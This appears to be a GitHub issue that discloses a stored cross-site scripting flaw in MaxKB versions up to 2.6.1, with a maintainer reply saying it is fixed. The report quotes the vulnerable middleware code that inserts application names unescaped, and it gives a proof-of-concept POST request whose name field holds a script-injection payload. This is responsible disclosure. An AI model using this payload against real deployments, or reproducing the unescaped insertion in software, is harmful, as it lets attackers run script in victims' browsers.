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# Stored XSS in MaxKB #24

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AnalogyC0de opened last month · edited by AnalogyC0de

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Stored XSS in MaxKB

## Identification

- **Project:** MaxKB
- **Repository:** <https://github.com/1Panel-dev/MaxKB>
- **Affected Version/Commit:** <= v2.6.1

## CVE Description

A Stored Cross-Site Scripting (XSS) vulnerability exists in MaxKB. Authenticated users can inject malicious JavaScript into the application name or icon fields when creating an application. When a victim visits the public chat interface ( `/ui/chat/{access_token}` ), the `ChatHeadersMiddleware` retrieves the application data and directly inserts the unescaped application name and icon into the HTML response via string replacement. This allows an attacker to execute arbitrary JavaScript in the victim's browser context.

## Affected Component

- **File(s):** `apps/common/middleware/chat_headers_middleware.py` , `apps/application/serializers/application.py`
- **Function / Method:** `ChatHeadersMiddleware.process_response()` , `SimpleRequest.to_application_model()` , `WorkflowRequest.to_application_model()`
- **Entry Point:** `name` and `icon` parameters in POST `/api/application/`

## Reproduction Summary

1. An authenticated attacker sends a POST request to `/api/application/` with the application `name` set to a payload like `</title><script>alert('XSS')</script><title>`.
2. A victim visits the chat URL at `/ui/chat/<access_token>`.
3. The server returns an HTML response with the `<title>` tag replaced by the unescaped malicious payload.
4. The victim's browser parses the HTML and executes the embedded JavaScript.

## Technical Details

### Entry Point Code ( `apps/application/serializers/application.py` ):

```
@staticmethod
def to_application_model(user_id: str, workspace_id: str, application: Dict):
    return Application(
        id=uuid.uuid7(),
        name=application.get('name'), # ← NO HTML ESCAPING
        desc=application.get('desc'),
        # ... other fields
    )
```



### Sink / Vulnerable Middleware ( `apps/common/middleware/chat_headers_middleware.py` lines 33-37):

```
def process_response(self, request, response):

    if request.path.startswith(CONFIG.get_chat_path()) and not request.path.startswith(
        CONFIG.get_chat_path() + '/api'):
        access_token = request.path.replace(CONFIG.get_chat_path() + '/', '')
        if access_token.__contains__('/') or access_token == 'undefined':
            return response
        application_access_token = get_application_access_token(access_token, True)
        if application_access_token is not None:
            white_active = application_access_token.get('white_active', False)
            white_list = application_access_token.get('white_list', [])
            application_icon = application_access_token.get('application_icon')
            application_name = application_access_token.get('application_name')
            if white_active:
                # 添加自定义的响应头
                response[
                    'Content-Security-Policy'] = f'frame-ancestors {" ".join(white_list)}'
            response.content = (response.content.decode('utf-8')).replace(
                '<link rel="icon" href="./favicon.ico"/>',
                f'<link rel="icon" href="{application_icon}" />' # ← UNESCAPED
                .replace('<title>MaxKB</title>', f'<title>{application_name}</title>').encode(
                    "utf-8")) # ← UNESCAPED

    return response
```



### Proof of Concept - Malicious Request:

```

POST /api/application/ HTTP/1.1
Host: maxkb.example.com
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "name": "</title><script>alert('XSS')</script><title>",
  "desc": "Malicious application",
  "dialogue_number": 0,
  "type": "SIMPLE",
  "dataset_setting": { ... },
  "model_setting": { ... },
  "problem_optimization": false
}

```



**AnalogyC0de** changed the title ~~Stored RCE via Function Library Code Execution in Maxkb~~ Stored XSS in MaxKB [last month](#)



shaohuzhang1 3 weeks ago



Fixed: [1Panel-dev/MaxKB#4919](#)

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### Metadata

#### Assignees

No one assigned

#### Labels

No labels

#### Projects

No projects

#### Milestone



No milestone

### Relationships

None yet

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### Development

 Code with agent mode 

No branches or pull requests

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### Participants

